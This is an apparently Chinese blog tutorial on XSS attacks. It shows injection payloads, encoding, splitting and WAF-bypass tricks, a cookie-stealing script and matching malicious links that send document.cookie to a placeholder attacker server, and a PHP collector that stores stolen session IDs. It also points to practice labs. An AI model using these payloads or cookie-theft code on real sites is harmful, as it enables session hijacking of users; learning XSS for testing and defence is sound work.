XSS 其实是 cross-site scripting(跨域脚本攻击) 的简写。他的重点在于 跨域 以及 脚本 这两个词。为什么会产生这个攻击类型呢?最大的原因在于,网站对于用户的输入过于信任,用户输入什么都可以,服务器也不会对用户的输入进行检查,于是攻击者也便有了可乘之机。
XSS 的分类其实有很多,按照不同的特点进行分类,XSS都能分出很多类别来,例如:反射型XSS、存储型XSS、DOM base XSS、非DOM XSS。本文主要就反射型XSS、存储型XSS来进行讲解。
在进行XSS攻击之前,我们要确定网站存在XSS攻击漏洞,只有确定了网站存在漏洞,那么才能进行针对这个网站的攻击。一般来说,只要网站有让用户输入的地方,就会有存在漏洞的可能。最常规的做法就是,使用f12来看网站的源码,进而确定注入点在哪里,然后再看看网站是否有相应的防护措施,如果有防护措施的话,就尝试绕过这些检查。
1、直接输入js代码
直接输入js代码虽然很简单,但是需要注意的是,有可能你找的注入点需要截断以后才能成功注入。例如,你找到了这样的一个注入点:
<input type="text" name="name" value="">
如果上边的 value 刚好是你找到的注入点,那么,你在注入代码的时候,不能单纯的直接写入js代码,而是需要把value后边的内容给注释掉,类似下边的代码:
"/><script> code </script>
存在这么简单的漏洞的网站现在很少了,要想真正的实现攻击可没有这么简单。
2、利用HTML标签属性
<a href="javascript:alert('')" >掩饰的东西a>
<img href="javascript:alert('')" />
3、利用HTML事件
<img src="" onclick="alert('')" />
可以利用的事件有很多,例如:onerror 、 onload 、 onsubmit 等。
4、使用字符编码
HTML编码
<img src=" " onerror="alert('xss')">
js自带的编码方法
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))">
URL编码
http://www.xxx.com/search?a=%3Cscript%3Ealert(%22xss%E2%80%9C%EF%BC%89%3C/script%3E
5、拆分法
<script>a='document.'</script>
<script>a='createElement("'</script>
.......
有的网站会对用户的输入长度做一个限制,这样的话,你可以把一段长的注入代码分成好几段,然后再去注入。大多数的网站,输入长度的限制只是在前端,这个时候我们也可以抓包,然后在包里对应的注入点把自己的代码写进去。
——Markdown的代码高亮怎么怪怪的。。。
反射型XSS的攻击,最常见的就是用来窃取别人cookie的攻击了。下面来举两个栗子:
1、在可以留言、评论的网站留下自己的恶意代码,用户在点击的时候,就会把cookie发给攻击者
要注入的代码
<script>
var c_k = document.cookie;
var a = document.createElement('a');
a.href = '攻击者的服务器地址'
a.innerHTML = '... '; //填写吸引人的内容,诱骗他们点击链接(读书人的事,怎么能叫骗呢<_>)
document.body.appendChild(a);
</script>
攻击者服务器上的代码
$cookie = $_GET['PHPSESSID']; //获取cookie
file_put_contents(file, $cookie); //把获取到的cookie保存到本地文件里
?>
2、构造恶意链接发送给他们
http://www.xxx.com/?name=<script>document.location.href='攻击者的服务器地址/?'+document.cookie</script>
http://www.xxx.com/?a=<script type="..."><![CDATA][window.open(...)]>
可能你会觉得这个方法很难实现获取cookie,但是,如果存在漏洞的是一个知名网站呢?大多数人都会选择相信这个网站的链接吧。。。。
存储型XSS,其实他的攻击构造就和他的名字一样,我们可以把攻击的内容存储在攻击对象的服务器上,这样的话,当服务器在加载相应的文件的时候,我们的攻击代码也可以同时被加载上。
1、关键字检查的绕过
A、 可以使用编码的方式进行绕过。
B、 构造服务器所不能发现,但是实际上可以解析出来对应关键字的字符。
C、 变换大小写。
2、长度检查的绕过
A、 拆分。
B、 如果长度限制只是在前端的话,也可以不拆分,只需要抓包,然后修改数据就可以。
3、WAF防护的绕过
不断的构造payload,从而发现WAF写的规则防护的是什么,进而绕过WAF检查。比如:多加一些空格、编码、变换大小写(不过这个应该没用吧,如果一个WAF防火墙连这个都不能防住,那还做什么WAF)、改变攻击代码的关键字等。
4、针对特定语言防护的绕过
有可能某个网站只对了特定语言做了检查,那么我们也可以变换攻击代码使用的语言,例如使用CSS。
XSS这个攻击真的很简单,防护起来也很方便,攻击能力也不是太强,但是,这并不代表XSS攻击很鸡肋。
XSS攻击可以结合很多攻击来进行攻击,例如CSRF、RCE等。相应的结合攻击方法会在之后的文章里给出。
XSS入门练习网站推荐:
http://xss-quiz.int21h.jp/
bWAPP一个很适合用来练习web攻击的工具:
https://sourceforge.net/projects/bwapp/
BurpSuite
Wireshark
各种编码解码工具(这个东西也可以自己写一个,很简单)